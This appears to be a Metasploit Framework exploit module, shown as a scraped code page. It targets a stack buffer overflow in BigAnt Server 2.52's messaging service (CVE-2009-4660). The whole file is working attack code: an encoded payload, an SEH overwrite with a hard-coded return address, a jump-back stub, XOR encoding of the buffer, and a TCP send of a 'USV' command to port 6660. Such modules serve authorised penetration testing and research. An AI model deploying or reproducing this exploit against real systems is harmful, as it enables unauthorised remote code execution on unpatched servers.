Path: blob/master/modules/exploits/windows/misc/bigant_server_usv.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'BigAnt Server 2.52 USV Buffer Overflow',16'Description' => %q{17This exploits a stack buffer overflow in the BigAnt Messaging Service,18part of the BigAnt Server product suite. This module was tested19successfully against version 2.52.2021NOTE: The AntServer service does not restart, you only get one shot.22},23'Author' => [24'Lincoln',25'DouBle_Zer0',26'jduck'27],28'License' => MSF_LICENSE,29'References' => [30[ 'CVE', '2009-4660' ],31[ 'OSVDB', '61386' ],32[ 'EDB', '10765' ],33[ 'EDB', '10973' ]34],35'Privileged' => true,36'DefaultOptions' => {37'EXITFUNC' => 'seh',38},39'Payload' => {40'Space' => (218 + 709 + 35),41'BadChars' => "\x2a\x20\x27\x0a\x0f",42# pre-xor with 0x2a:43# 'BadChars' => "\x00\x0a\x0d\x20\x25",44'StackAdjustment' => -3500,45},46'Platform' => 'win',47'Targets' => [48[ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp349],50'DefaultTarget' => 0,51'DisclosureDate' => '2009-12-29',52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options([Opt::RPORT(6660)])61end6263def exploit64connect6566sploit = ""67sploit << payload.encoded68sploit << generate_seh_record(target.ret)69sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string70sploit << rand_text_alphanumeric(3)71sploit << [0xdeadbeef].pack('V') * 37273# the buffer gets xor'd with 0x2a !74sploit = sploit.unpack("C*").map { |c| c ^ 0x2a }.pack("C*")7576print_status("Trying target #{target.name}...")77sock.put("USV " + sploit + "\r\n\r\n")7879handler80disconnect81end82end838485